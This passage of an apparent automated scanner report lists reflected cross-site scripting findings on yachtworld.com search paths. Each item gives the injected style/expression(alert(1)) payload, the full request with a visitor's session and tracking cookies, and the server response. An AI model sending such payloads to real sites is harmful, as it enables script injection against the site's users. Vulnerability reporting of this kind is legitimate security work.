savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:28 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.298. http://www.yachtworld.com/boats/category/type/builder/model/United+States/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.yachtworld.com
Path:
/boats/category/type/builder/model/United+States/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 247c8"style%3d"x%3aexpression(alert(1))"0b8bba0dff6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 247c8"style="x:expression(alert(1))"0b8bba0dff6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/?247c8"style%3d"x%3aexpression(alert(1))"0b8bba0dff6=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:57:59 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:12:06 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.299. http://www.yachtworld.com/boats/category/type/builder/model/United+States/California/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11882"style%3d"x%3aexpression(alert(1))"554fdc86f25 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 11882"style="x:expression(alert(1))"554fdc86f25 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/California/1?11882"style%3d"x%3aexpression(alert(1))"554fdc86f25=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:57:35 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:11:41 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.300. http://www.yachtworld.com/boats/category/type/builder/model/United+States/Connecticut/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1a0d"style%3d"x%3aexpression(alert(1))"9668f1bcc4e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b1a0d"style="x:expression(alert(1))"9668f1bcc4e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/Connecticut/1?b1a0d"style%3d"x%3aexpression(alert(1))"9668f1bcc4e=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:03 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:12:09 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.301. http://www.yachtworld.com/boats/category/type/builder/model/United+States/Florida/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8b224"style%3d"x%3aexpression(alert(1))"37c392477d4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8b224"style="x:expression(alert(1))"37c392477d4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/Florida/1?8b224"style%3d"x%3aexpression(alert(1))"37c392477d4=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:57:13 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:11:20 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.302. http://www.yachtworld.com/boats/category/type/builder/model/United+States/Maine/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80da9"style%3d"x%3aexpression(alert(1))"390dde4f621 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 80da9"style="x:expression(alert(1))"390dde4f621 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/Maine/1?80da9"style%3d"x%3aexpression(alert(1))"390dde4f621=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; 